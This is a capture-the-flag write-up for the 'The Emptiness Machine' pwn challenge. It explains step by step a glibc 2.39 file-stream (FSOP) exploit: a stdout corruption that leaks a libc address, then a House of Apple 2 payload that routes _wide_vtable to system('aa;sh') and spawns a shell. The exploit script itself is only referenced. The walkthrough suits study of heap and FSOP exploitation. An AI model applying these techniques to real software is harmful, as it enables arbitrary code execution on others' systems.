> m4rt@CTF_ARCHIVE:~$

// ATTACHMENTS

Hack The Box / Cyber Apocalypse CTF 2026 / 2026-07-29

The Emptiness Machine (pwn)

Exploit a file stream oriented programming (FSOP) vulnerability to execute system.

We are given a zip file:

unzip -l the_emptiness_machine.zip
Archive:  the_emptiness_machine.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  2026-05-09 02:49   challenge/
    16224  2026-05-09 02:48   challenge/the_emptiness_machine
        0  2026-05-09 02:48   challenge/glibc/
  2125328  2026-05-09 02:48   challenge/glibc/libc.so.6
   236616  2026-05-09 02:48   challenge/glibc/ld-linux-x86-64.so.2
---------                     -------
  2378168                     5 files
file the_emptiness_machine
the_emptiness_machine: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./glibc/ld-linux-x86-64.so.2, BuildID[sha1]=567eaaaec36e0c6f59202fffdb62b4165d52a50d, for GNU/Linux 3.2.0, not stripped

Let's load the binary in Ghidra and check the main function, which is quite short:

void main(void)

{
  setbuf(stdin,(char *)0x0);
  setbuf(stdout,(char *)0x0);
  puts(&DAT_00102008);
  printf(&DAT_00102658);
  __isoc99_scanf("%40s",stdout);
  printf(&DAT_00102748);
  __isoc99_scanf("%224s",stderr);
  return;
}

Here we see that we can corrupt a portion of stdout and all stderr. This is a challenge about FSOP (File Stream Oriented Programming).

Firstly, let's check the structure of stdout and stderr. To do that, we need to first use pwninit to download the corresponding libc with debug symbols.

pwninit --bin the_emptiness_machine --libc glibc/libc.so.6 --ld glibc/ld-linux-x86-64.so.2

Now, open the binary in gdb:

gdb the_emptiness_machine
start

Then, we can check the structure of stdout and stderr:

pwndbg> ptype /o struct _IO_FILE
/* offset      |    size */  type = struct _IO_FILE {
/*      0      |       4 */    int _flags;
/* XXX  4-byte hole      */
/*      8      |       8 */    char *_IO_read_ptr;
/*     16      |       8 */    char *_IO_read_end;
/*     24      |       8 */    char *_IO_read_base;
/*     32      |       8 */    char *_IO_write_base;
/*     40      |       8 */    char *_IO_write_ptr;
/*     48      |       8 */    char *_IO_write_end;
/*     56      |       8 */    char *_IO_buf_base;
/*     64      |       8 */    char *_IO_buf_end;
/*     72      |       8 */    char *_IO_save_base;
/*     80      |       8 */    char *_IO_backup_base;
/*     88      |       8 */    char *_IO_save_end;
/*     96      |       8 */    struct _IO_marker *_markers;
/*    104      |       8 */    struct _IO_FILE *_chain;
/*    112      |       4 */    int _fileno;
/*    116      |       4 */    int _flags2;
/*    120      |       8 */    __off_t _old_offset;
/*    128      |       2 */    unsigned short _cur_column;
/*    130      |       1 */    signed char _vtable_offset;
/*    131      |       1 */    char _shortbuf[1];
/* XXX  4-byte hole      */
/*    136      |       8 */    _IO_lock_t *_lock;
/*    144      |       8 */    __off64_t _offset;
/*    152      |       8 */    struct _IO_codecvt *_codecvt;
/*    160      |       8 */    struct _IO_wide_data *_wide_data;
/*    168      |       8 */    struct _IO_FILE *_freeres_list;
/*    176      |       8 */    void *_freeres_buf;
/*    184      |       8 */    size_t __pad5;
/*    192      |       4 */    int _mode;
/*    196      |      20 */    char _unused2[20];

                               /* total size (bytes):  216 */
                             }

So, for stdout we can corrupt the following fields: - flags - _IO_read_ptr - _IO_read_end - _IO_read_base - _IO_write_base - The least significant byte of _IO_write_ptr, since scanf appends a null byte at the end of the input string.

With gdb I inspected the value of the flags of stdout, which is 0xfbad2887.

Flags are defined in libio.h:

/* Magic number and bits for the _flags field.  The magic number is
   mostly vestigial, but preserved for compatibility.  It occupies the
   high 16 bits of _flags; the low 16 bits are actual flag bits.  */

#define _IO_MAGIC         0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK    0xFFFF0000
#define _IO_USER_BUF          0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED        0x0002
#define _IO_NO_READS          0x0004 /* Reading not allowed.  */
#define _IO_NO_WRITES         0x0008 /* Writing not allowed.  */
#define _IO_EOF_SEEN          0x0010
#define _IO_ERR_SEEN          0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close.  */
#define _IO_LINKED            0x0080 /* In the list of all open files.  */
#define _IO_IN_BACKUP         0x0100
#define _IO_LINE_BUF          0x0200
#define _IO_TIED_PUT_GET      0x0400 /* Put and get pointer move in unison.  */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING      0x1000
#define _IO_IS_FILEBUF        0x2000
                           /* 0x4000  No longer used, reserved for compat.  */
#define _IO_USER_LOCK         0x8000

So the value 0xfbad2887 means that the following flags are set: - 0xFBAD0000 → _IO_MAGIC [1] - 0x2000 → _IO_IS_FILEBUF [1] - 0x0800 → _IO_CURRENTLY_PUTTING [1] - 0x0080 → _IO_LINKED [1] - 0x0004 → _IO_NO_READS [1] - 0x0002 → _IO_UNBUFFERED [1] - 0x0001 → _IO_USER_BUF [1]

We see that the _IO_NO_READS flag is set, which means that reading is not allowed.

This is also the situation of stdout right before the first scanf call:

pwndbg> x/20gx (struct _IO_FILE *)stdout
0x7f14a3e045c0 <_IO_2_1_stdout_>:   0x00000000fbad2887  0x00007f14a3e04643
0x7f14a3e045d0 <_IO_2_1_stdout_+16>:    0x00007f14a3e04643  0x00007f14a3e04643
0x7f14a3e045e0 <_IO_2_1_stdout_+32>:    0x00007f14a3e04643  0x00007f14a3e04643
0x7f14a3e045f0 <_IO_2_1_stdout_+48>:    0x00007f14a3e04643  0x00007f14a3e04643
0x7f14a3e04600 <_IO_2_1_stdout_+64>:    0x00007f14a3e04644  0x0000000000000000
0x7f14a3e04610 <_IO_2_1_stdout_+80>:    0x0000000000000000  0x0000000000000000
0x7f14a3e04620 <_IO_2_1_stdout_+96>:    0x0000000000000000  0x00007f14a3e038e0
0x7f14a3e04630 <_IO_2_1_stdout_+112>:   0x0000000000000001  0xffffffffffffffff
0x7f14a3e04640 <_IO_2_1_stdout_+128>:   0x000000000a000000  0x00007f14a3e05710
0x7f14a3e04650 <_IO_2_1_stdout_+144>:   0xffffffffffffffff  0x0000000000000000

pwndbg> p *(struct _IO_FILE *)stdout
$1 = {
  _flags = -72537977,
  _IO_read_ptr = 0x7f14a3e04643 <_IO_2_1_stdout_+131> "\n",
  _IO_read_end = 0x7f14a3e04643 <_IO_2_1_stdout_+131> "\n",
  _IO_read_base = 0x7f14a3e04643 <_IO_2_1_stdout_+131> "\n",
  _IO_write_base = 0x7f14a3e04643 <_IO_2_1_stdout_+131> "\n",
  _IO_write_ptr = 0x7f14a3e04643 <_IO_2_1_stdout_+131> "\n",
  _IO_write_end = 0x7f14a3e04643 <_IO_2_1_stdout_+131> "\n",
  _IO_buf_base = 0x7f14a3e04643 <_IO_2_1_stdout_+131> "\n",
  _IO_buf_end = 0x7f14a3e04644 <_IO_2_1_stdout_+132> "",
  _IO_save_base = 0x0,
  _IO_backup_base = 0x0,
  _IO_save_end = 0x0,
  _markers = 0x0,
  _chain = 0x7f14a3e038e0 <_IO_2_1_stdin_>,
  _fileno = 1,
  _flags2 = 0,
  _old_offset = -1,
  _cur_column = 0,
  _vtable_offset = 0 '\000',
  _shortbuf = "\n",
  _lock = 0x7f14a3e05710 <_IO_stdfile_1_lock>,
  _offset = -1,
  _codecvt = 0x0,
  _wide_data = 0x7f14a3e037e0 <_IO_wide_data_1>,
  _freeres_list = 0x0,
  _freeres_buf = 0x0,
  __pad5 = 0,
  _mode = -1,
  _unused2 = '\000' <repeats 19 times>
}

The idea is to corrupt the sdout struct in this way: - We set the flags to 0xFBAD1800, which corresponds to the following flags: - 0xFBAD0000 → _IO_MAGIC [1] - 0x1000 → _IO_IS_APPENDING [1]: Ensures new_do_write() skips unnecessary lseek or offset recalculations. - 0x0800 → _IO_CURRENTLY_PUTTING [1]: If this bit is missing, glibc assumes stdout was in reading mode or unitialized. It invokes buffer re-allocation/re-initialization routines, which overwrite the corrupted pointers back to safe default values before writing. Setting this flag bypasses pointer reset logic. - We write 24 null bytes to overwrite the following fields: - _IO_read_ptr - _IO_read_end - _IO_read_base - And we send a newline, which will be changed to a null byte by scanf, to overwrite the least significant byte of _IO_write_base.

Therefore, after scanf, printf calls _IO_do_write(fp, fp->_IO_write_base, length).

Because _IO_CURRENTLY_PUTTING is active and _IO_NO_WRITES is cleared, glibc skips initialization and calls:

Then the program basically performs a write(1, _IO_write_base, count) syscall

Because the lower byte of _IO_write_base is pulled down (we see from gdb that it points to a portion of stdout itself) while _IO_write_ptr remains pointing further ahead:

$$\text{Length} = \text{_IO_write_ptr} - \text{_IO_write_base} > 0$$

The write syscall immediately prints everything in that memory window to standard output.

The first 8 leaked bytes are a pointer to the libc, precisely it's (_IO_2_1_stdout_+132). With gdb we can compute the offset between the leaked pointer and the base of libc, which is: 2115140

So, knowing the leaked pointer, we can compute the base address of libc.

Now we can build a house of apple 2 payload.

Let's check the libc version:

strings glibc/libc.so.6 | grep "GNU"
GNU C Library (Ubuntu GLIBC 2.39-0ubuntu8.7) stable release version 2.39.

In the modern versions of glibc (from 2.35 onwards), it is no longer possible to directly overwrite the function pointer table (vtable) of a file stream with an arbitrary address (e.g., system), because the _IO_vtable_check macro blocks execution if the vtable does not reside in an authorized memory section of libc.

The objective is to force glibc to call legitimate functions in the vtable, but by manipulating the internal pointers of the "wide character" structure (_wide_data), which is not protected by the standard vtable checks.

To make the exploit work, we can overwrite the stderr struct with another IO_FILE structure, with well crafted fields.

At the end of the program, the function _IO_flush_all is called. This is an example of its code:

 (void)
{
  int result = 0;
  FILE *fp;
#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif
  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
    {
      run_fp = fp;
      _IO_flockfile (fp);
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
       || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
       )
      && _IO_OVERFLOW (fp, EOF) == EOF)
    result = EOF;
      _IO_funlockfile (fp);
      run_fp = NULL;
    }

One fp is stderr, which is the one we can corrupt.

We want to call _IO_OVERFLOW, and to do that we need to firstly set fp->_mode to 0.

We see that the function checks fp->wide_data->_IO_write_ptr > fp->wide_data->_IO_write_base.

The wide_data field is of type struct _IO_wide_data, which is defined as:

pwndbg> ptype /o struct _IO_wide_data
/* offset      |    size */  type = struct _IO_wide_data {
/*      0      |       8 */    wchar_t *_IO_read_ptr;
/*      8      |       8 */    wchar_t *_IO_read_end;
/*     16      |       8 */    wchar_t *_IO_read_base;
/*     24      |       8 */    wchar_t *_IO_write_base;
/*     32      |       8 */    wchar_t *_IO_write_ptr;
/*     40      |       8 */    wchar_t *_IO_write_end;
/*     48      |       8 */    wchar_t *_IO_buf_base;
/*     56      |       8 */    wchar_t *_IO_buf_end;
/*     64      |       8 */    wchar_t *_IO_save_base;
/*     72      |       8 */    wchar_t *_IO_backup_base;
/*     80      |       8 */    wchar_t *_IO_save_end;
/*     88      |       8 */    __mbstate_t _IO_state;
/*     96      |       8 */    __mbstate_t _IO_last_state;
/*    104      |     112 */    struct _IO_codecvt {
/*    104      |      56 */        _IO_iconv_t __cd_in;
/*    160      |      56 */        _IO_iconv_t __cd_out;

                                   /* total size (bytes):  112 */
                               } _codecvt;
/*    216      |       4 */    wchar_t _shortbuf[1];
/* XXX  4-byte hole      */
/*    224      |       8 */    const struct _IO_jump_t *_wide_vtable;

                               /* total size (bytes):  232 */
                             }

And we have to set write_base lower than write_ptr, so that the condition is satisfied.

The idea is to set fp->wide_data to point to a memory area that we control. And we have control on the stderr struct, so we can set the wide_data pointer to point to a portion of stderr itself. More precisely, we sill shift a little bit the pointer, for example, we can set wide_data = stderr - 0x10. This way, the write_base field will be at offset 8 with respect to the start of stderr. So we can set the qword at offset 8 of stderr to 0, which will be lower than the qword after (write_ptr. pwntools flat fills the missing parts of the payload with characters).

The macro _IO_OVERFLOW is defined as:

#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)

The macro JUMP1 is defined as:

#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)

The macro _IO_JUMPS_FUNC is defined as:

# define _IO_JUMPS_FUNC(THIS) \
  (IO_validate_vtable                                                   \
   (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS)   \
                 + (THIS)->_vtable_offset)))

The function IO_validate_vtable checks that the vtable is a legitimate vtable in libc. So we have to set the vtable pointer to a legitimate vtable in libc.

The macro _IO_JUMPS_FILE_plus is defined as:

#define _IO_JUMPS_FILE_plus(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)

The macro _IO_CAST_FIELD_ACCESS is defined as:

#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \
  (*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \
                       + offsetof(TYPE, MEMBER)))

So basically _IO_JUMPS_FILE_plus returns the vtable pointer of the fp.

In the normal execution of the program, the vtable is a pointer to a struct _IO_jump_t, called _IO_file_jumps and it looks like this:

pwndbg> p (struct _IO_jump_t)_IO_file_jumps
$4 = {
  __dummy = 0,
  __dummy2 = 0,
  __finish = 0x7fe35d691a40 <_IO_new_file_finish>,
  __overflow = 0x7fe35d692df0 <_IO_new_file_overflow>,
  __underflow = 0x7fe35d692640 <_IO_new_file_underflow>,
  __uflow = 0x7fe35d6955a0 <__GI__IO_default_uflow>,
  __pbackfail = 0x7fe35d696de0 <__GI__IO_default_pbackfail>,
  __xsputn = 0x7fe35d6939e0 <_IO_new_file_xsputn>,
  __xsgetn = 0x7fe35d693d20 <__GI__IO_file_xsgetn>,
  __seekoff = 0x7fe35d693160 <_IO_new_file_seekoff>,
  __seekpos = 0x7fe35d695cc0 <_IO_default_seekpos>,
  __setbuf = 0x7fe35d692400 <_IO_new_file_setbuf>,
  __sync = 0x7fe35d693010 <_IO_new_file_sync>,
  __doallocate = 0x7fe35d685120 <__GI__IO_file_doallocate>,
  __read = 0x7fe35d6938b0 <__GI__IO_file_read>,
  __write = 0x7fe35d693940 <_IO_new_file_write>,
  __seek = 0x7fe35d6938d0 <__GI__IO_file_seek>,
  __close = 0x7fe35d693930 <__GI__IO_file_close>,
  __stat = 0x7fe35d6938e0 <__GI__IO_file_stat>,
  __showmanyc = 0x7fe35d696f90 <_IO_default_showmanyc>,
  __imbue = 0x7fe35d696fa0 <_IO_default_imbue>
}

We want to overwrite that vtable pointer with a pointer to _IO_wfile_jumps, which is a vtable for wide character streams.

pwndbg> p (struct _IO_jump_t)_IO_wfile_jumps
$5 = {
  __dummy = 0,
  __dummy2 = 0,
  __finish = 0x7fe35d691a40 <_IO_new_file_finish>,
  __overflow = 0x7fe35d68ce20 <__GI__IO_wfile_overflow>,
  __underflow = 0x7fe35d68c5c0 <__GI__IO_wfile_underflow>,
  __uflow = 0x7fe35d68ab10 <__GI__IO_wdefault_uflow>,
  __pbackfail = 0x7fe35d68a8d0 <__GI__IO_wdefault_pbackfail>,
  __xsputn = 0x7fe35d68db60 <__GI__IO_wfile_xsputn>,
  __xsgetn = 0x7fe35d693d20 <__GI__IO_file_xsgetn>,
  __seekoff = 0x7fe35d68d280 <__GI__IO_wfile_seekoff>,
  __seekpos = 0x7fe35d695cc0 <_IO_default_seekpos>,
  __setbuf = 0x7fe35d692400 <_IO_new_file_setbuf>,
  __sync = 0x7fe35d68d0e0 <__GI__IO_wfile_sync>,
  __doallocate = 0x7fe35d6868b0 <_IO_wfile_doallocate>,
  __read = 0x7fe35d6938b0 <__GI__IO_file_read>,
  __write = 0x7fe35d693940 <_IO_new_file_write>,
  __seek = 0x7fe35d6938d0 <__GI__IO_file_seek>,
  __close = 0x7fe35d693930 <__GI__IO_file_close>,
  __stat = 0x7fe35d6938e0 <__GI__IO_file_stat>,
  __showmanyc = 0x7fe35d696f90 <_IO_default_showmanyc>,
  __imbue = 0x7fe35d696fa0 <_IO_default_imbue>
}

If we do the overwrite: - the _IO_vtable_check passes, because _IO_wfile_jumps is a legitimate vtable in libc. - The macro _IO_OVERFLOW will call the function corresponding to the __overflow field, which is _IO_wfile_overflow (which corresponds to __GI__IO_wfile_overflow).

This is a piece of code of the _IO_wfile_overflow function:

wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0
      || f->_wide_data->_IO_write_base == NULL)
    {
      /* Allocate a buffer if needed. */
      if (f->_wide_data->_IO_write_base == 0)
    {
      _IO_wdoallocbuf (f);
      _IO_free_wbackup_area (f);
      _IO_wsetg (f, f->_wide_data->_IO_buf_base,
             f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);
      if (f->_IO_write_base == NULL)
        {
          _IO_doallocbuf (f);
          _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
        }
    }

We see that the function _IO_wdoallocbuf is called.

This is the code:

void
_IO_wdoallocbuf (FILE *fp)
{
  if (fp->_wide_data->_IO_buf_base)
    return;
  if (!(fp->_flags & _IO_UNBUFFERED))
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
      return;
  _IO_wsetb (fp, fp->_wide_data->_shortbuf,
             fp->_wide_data->_shortbuf + 1, 0);
}

So the macro _IO_WDOALLOCATE is called, which is defined as:

#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)

The macro WJUMP0 is defined as:

#define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS)

The macro _IO_WIDE_JUMPS_FUNC is defined as:

#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)

The macro _IO_WIDE_JUMPS is defined as:

#define _IO_WIDE_JUMPS(THIS) _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

So the function __doallocate in the wide_vtable is called.

The wide_vtable is a field in the _IO_wide_data structure, at offset 224. Recall that a pointer to that struct was in the field wide_data of the _IO_FILE structure. The field wide_data is at offset 160 of the _IO_FILE structure. And recall that we did set it to point to stderr - 0x10.

So the wide_vtable pointer will be at offset 224 - 16 = 208 from the beginning of stderr. And the idea is to again make this pointer point to an area which we control, for example, to stderr itself (this time we do not use offsets from the beginning of stderr).

Let's check the offset of the __doallocate field in the _IO_jump_t structure:

pwndbg> ptype /o struct _IO_jump_t
/* offset      |    size */  type = struct _IO_jump_t {
/*      0      |       8 */    size_t __dummy;
/*      8      |       8 */    size_t __dummy2;
/*     16      |       8 */    _IO_finish_t __finish;
/*     24      |       8 */    _IO_overflow_t __overflow;
/*     32      |       8 */    _IO_underflow_t __underflow;
/*     40      |       8 */    _IO_underflow_t __uflow;
/*     48      |       8 */    _IO_pbackfail_t __pbackfail;
/*     56      |       8 */    _IO_xsputn_t __xsputn;
/*     64      |       8 */    _IO_xsgetn_t __xsgetn;
/*     72      |       8 */    _IO_seekoff_t __seekoff;
/*     80      |       8 */    _IO_seekpos_t __seekpos;
/*     88      |       8 */    _IO_setbuf_t __setbuf;
/*     96      |       8 */    _IO_sync_t __sync;
/*    104      |       8 */    _IO_doallocate_t __doallocate;
/*    112      |       8 */    _IO_read_t __read;
/*    120      |       8 */    _IO_write_t __write;
/*    128      |       8 */    _IO_seek_t __seek;
/*    136      |       8 */    _IO_close_t __close;
/*    144      |       8 */    _IO_stat_t __stat;
/*    152      |       8 */    _IO_showmanyc_t __showmanyc;
/*    160      |       8 */    _IO_imbue_t __imbue;

                               /* total size (bytes):  168 */
                             }

The offset is 104. So we can set the qword at offset 104 of stderr to the address of system.

This way, the system function will be called, but what will the first argument be? The first argument is the fp pointer, which is stderr. So the first argument will point to the bytes at the beginning of stderr, which correspond to the _flags field.

We would like to set the _flags field to be the string "/bin/sh", but as we can see from the previous codes, there are some constraints on the flags field. We also have to be careful to not put blank spaces in the string because the scanf will stop reading our input.

It turns out that a valid value for the flags field is:

b"aa;sh\x00"

So, finally, what happens is that when the program terminates, the system function is called:

system("aa;sh")

Which will spawn a shell.

See the script sol.py for the full exploit.

Useful gdb commands

pwndbg> ptype /o struct _IO_FILE_plus
/* offset      |    size */  type = struct _IO_FILE_plus {
/*      0      |     216 */    FILE file;
/*    216      |       8 */    const struct _IO_jump_t *vtable;

                               /* total size (bytes):  224 */
                             }
pwndbg> p *(struct _IO_FILE *)stdout
$6 = {
  _flags = -72540028,
  _IO_read_ptr = 0x0,
  _IO_read_end = 0x0,
  _IO_read_base = 0x0,
  _IO_write_base = 0x0,
  _IO_write_ptr = 0x0,
  _IO_write_end = 0x0,
  _IO_buf_base = 0x0,
  _IO_buf_end = 0x0,
  _IO_save_base = 0x0,
  _IO_backup_base = 0x0,
  _IO_save_end = 0x0,
  _markers = 0x0,
  _chain = 0x7ffff7e038e0 <_IO_2_1_stdin_>,
  _fileno = 1,
  _flags2 = 0,
  _old_offset = -1,
  _cur_column = 0,
  _vtable_offset = 0 '\000',
  _shortbuf = "",
  _lock = 0x7ffff7e05710 <_IO_stdfile_1_lock>,
  _offset = -1,
  _codecvt = 0x0,
  _wide_data = 0x7ffff7e037e0 <_IO_wide_data_1>,
  _freeres_list = 0x0,
  _freeres_buf = 0x0,
  __pad5 = 0,
  _mode = 0,
  _unused2 = '\000' <repeats 19 times>
}
pwndbg> p *(((struct _IO_FILE_plus *)stdout)->vtable)
$7 = {
  __dummy = 0,
  __dummy2 = 0,
  __finish = 0x7ffff7c91a40 <_IO_new_file_finish>,
  __overflow = 0x7ffff7c92df0 <_IO_new_file_overflow>,
  __underflow = 0x7ffff7c92640 <_IO_new_file_underflow>,
  __uflow = 0x7ffff7c955a0 <__GI__IO_default_uflow>,
  __pbackfail = 0x7ffff7c96de0 <__GI__IO_default_pbackfail>,
  __xsputn = 0x7ffff7c939e0 <_IO_new_file_xsputn>,
  __xsgetn = 0x7ffff7c93d20 <__GI__IO_file_xsgetn>,
  __seekoff = 0x7ffff7c93160 <_IO_new_file_seekoff>,
  __seekpos = 0x7ffff7c95cc0 <_IO_default_seekpos>,
  __setbuf = 0x7ffff7c92400 <_IO_new_file_setbuf>,
  __sync = 0x7ffff7c93010 <_IO_new_file_sync>,
  __doallocate = 0x7ffff7c85120 <__GI__IO_file_doallocate>,
  __read = 0x7ffff7c938b0 <__GI__IO_file_read>,
  __write = 0x7ffff7c93940 <_IO_new_file_write>,
  __seek = 0x7ffff7c938d0 <__GI__IO_file_seek>,
  __close = 0x7ffff7c93930 <__GI__IO_file_close>,
  __stat = 0x7ffff7c938e0 <__GI__IO_file_stat>,
  __showmanyc = 0x7ffff7c96f90 <_IO_default_showmanyc>,
  __imbue = 0x7ffff7c96fa0 <_IO_default_imbue>
}